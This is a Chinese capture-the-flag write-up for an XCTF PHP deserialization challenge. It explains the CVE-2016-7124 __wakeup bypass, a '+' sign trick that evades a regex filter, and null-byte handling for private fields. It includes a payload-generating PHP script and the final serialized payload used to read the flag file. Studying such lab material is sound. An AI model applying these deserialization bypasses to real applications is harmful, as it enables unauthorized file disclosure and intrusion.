关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本关考察的是 PHP 反序列化漏洞,要先过此关,你需要了解以下知识:
-
PHP 反序列化绕过
__wakeup
=> CVE-2016-7124 PHP 反序列化漏洞-
如果序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过
__wakeup
函数。 -
注意:通过 GET 传参时,需要使用
%00
截断私有变量。
-
-
序列化后的字符串,可以在数字前面添加 + 号,以绕过某些正则表达式的过滤。
-
O:4
与O:+4
是等价的
-
-
PHP 序列化注意事项:
-
protected
变量 -> 序列化时会在字段前添加\0*\0
特殊字符 ->s:11:"\0*\0username"
-
private
变量 -> 序列化时,类名和字段名前会添加\0
特殊字符,\0
也会被计算长度 ->s:14:"\0Name\0username"
-
0x02:Write UP
本题的考点就是 PHP 反序列化漏洞,先分析一下靶场提供的代码:
-
- class Demo {
- private $file = 'index.php';
- public function __construct($file) {
- $this->file = $file; # 创建对象时,需要传入要包含的文件名
- }
- function __destruct() {
- echo @highlight_file($this->file, true); # 当对象销毁时, 会执行文件包含命令
- }
- function __wakeup() {
- if ($this->file != 'index.php') { # 如果传入的文件名不等于 index.php,则强制替换为 index.php
- //the secret is in the fl4g.php # 包含 flag 的文件名为 fl4g.php
- $this->file = 'index.php';
- }
- }
- }
-
- if (isset($_GET['var'])) {
- $var = base64_decode($_GET['var']); # 对接收的 var 参数进行 base64 解码
- if (preg_match('/[oc]:\d+:/i', $var)) { # 如果 var 参数进行过滤,如果存在非法字符,则直接中断程序执行
- die('stop hacking!');
- } else {
- @unserialize($var);
- }
- } else {
- highlight_file("index.php");
- }
- ?>
通过上面的代码审计我们可以知道,我们需要绕过两层 waf,第一层是正则的绕过,第二层是绕过__wakeup()
中的过滤,我们先从第二个 waf 开始绕吧(这个比较容易)。
0x0201: __wakeup()
绕过
如果你细心的话,可以看到数据的返回包中有这么一项 X-Powered-By
:
可以看到目标 PHP 的版本为 5.3.10,而在 php5.0.0 ~ php5.6.25, php7.0.0 ~ php7.0.10 存在 CVE-2016-7124 PHP 反序列化漏洞,该漏洞可以通过修改对象属性个数来绕过 __wakeup()
函数的检测。
将网页上的 PHP 代码 down 下来,然后进行序列化:
-
- class Demo {
- private $file = 'index.php';
- public function __construct($file) {
- $this->file = $file;
- }
- function __destruct() {
- echo @highlight_file($this->file, true);
- }
- function __wakeup() {
- if ($this->file != 'index.php') {
- //the secret is in the fl4g.php
- $this->file = 'index.php';
- }
- }
- }
-
- $demo = new Demo('fl4g.php');
- echo serialize($demo);
- 原始序列化结果:
- -> O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
-
- 利用 CVE-2016-7124 修改后的内容
- -> O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
我们将对象的属性个数从 1 修改为了 2,如此就可以绕过 __wakeup()
函数的执行,不过这种通过字符串的直接手动修改其实是不对的,因为在 Demo
类中存在一个私有变量 $file
,该对象序列化后的内容为 s:10:"Demofile"
,明面显示 Demofile
,由 10 个元素组成,但我们数过之后其实只有 8 个字符,这是因为有两个特殊字符被我们复制时丢弃了,他们是 ASCII 码值为 0 的字符。具体可以参考下面这个链接:
【PHP】反序列化漏洞(又名“PHP对象注入”)_对象注入 unserialize() 函数进行攻击-CSDN博客文章浏览阅读3.7k次,点赞10次,收藏31次。本文深入探讨PHP反序列化漏洞的原理与利用方式,包括unserialize函数的使用,__wakeup与__sleep魔术方法的作用,以及如何通过修改对象属性数量来跳过__wakeup的执行,实现代码注入等攻击。http://iyenn.com/rec/1646253.html
0x0202:preg_match('/[oc]:\d+:/i', $var)
绕过
通过上面的序列化后的结果我们可以发现,其中存在 O:4
,该字符串符合 /[oc]:\d+:/i
的正则表达式的规则,那么这里我们可以将 O:4
,替换为 O:+4
进行过滤,这两种写法是等价的,这里提供一个测试代码:
-
- header("Content-Type:text/html;charset=utf-8");
- class Demo
- {
- public $name = "";
- public function __construct($name)
- {
- $this->name = $name;
- }
- function __wakeup()
- {
- echo "反序列化执行结果: 我的名字是:" . $this->name . ",一名道德 hacker ";
- echo "
"; - }
- }
-
- # 正常序列化
- $demo = serialize(new Demo("Blue17"));
- echo "序列化后字符串: " . $demo . "";
- unserialize($demo);
-
- # 绕过方式 01
- $way1_serialize = str_replace('O:4:', 'O:+4:', $demo);
- echo "序列化后字符串: " . $way1_serialize . "";
- unserialize($way1_serialize);
-
- # 绕过方式 02
- $way2_serialize = str_replace('s:4:', 's:+4:', $demo);
- echo "序列化后字符串: " . $way2_serialize . "";
- unserialize($way2_serialize);
这里我运行测试代码的版本是 PHP 5.3.29nts,高版本的可能无法成功运行:
所以我们绕过正则表达式的 Payload 如下:
- 利用 CVE-2016-7124 修改后的内容
- -> O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
-
- 绕过 preg_match('/[oc]:\d+:/i', $var) 的 Payload:
- -> O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
0x0203:解决 PHP 序列化后 \0 丢失问题
PHP 中私有字段名在序列化时,类名和字段名前面都会加上 \0
的前缀(\0
是 ASCII 码值为 0 的字符,不是\
和0
的结合),而这个前缀在我们复制的时候会丢失。
那么解决方法就是,不进行手动复制,直接利用替换函数进行字符替换,最终绕过代码如下:
-
- class Demo {
- private $file = 'index.php';
- public function __construct($file) {
- $this->file = $file;
- }
- function __destruct() {
- echo @highlight_file($this->file, true);
- }
- function __wakeup() {
- if ($this->file != 'index.php') {
- //the secret is in the fl4g.php
- $this->file = 'index.php';
- }
- }
- }
-
- $demo = serialize(new Demo('fl4g.php'));
- $demo = str_replace('O:4','O:+4', $demo);
- $demo = str_replace(':1:',':2:', $demo);
- echo base64_encode($demo);
将上面代码运行后拿到的 Basse64 编码字符,通过 GET 方式传递给靶场的 var
参数,即可成功获取 Flag:
0x03:参考资料
PHP反序列化及绕过PHP反序列化及绕过https://www.leifengidc.com/webaq/1409.html
【PHP】反序列化漏洞(又名“PHP对象注入”)_对象注入 unserialize() 函数进行攻击-CSDN博客文章浏览阅读3.7k次,点赞10次,收藏31次。本文深入探讨PHP反序列化漏洞的原理与利用方式,包括unserialize函数的使用,__wakeup与__sleep魔术方法的作用,以及如何通过修改对象属性数量来跳过__wakeup的执行,实现代码注入等攻击。http://iyenn.com/rec/1646253.html
评论记录:
回复评论: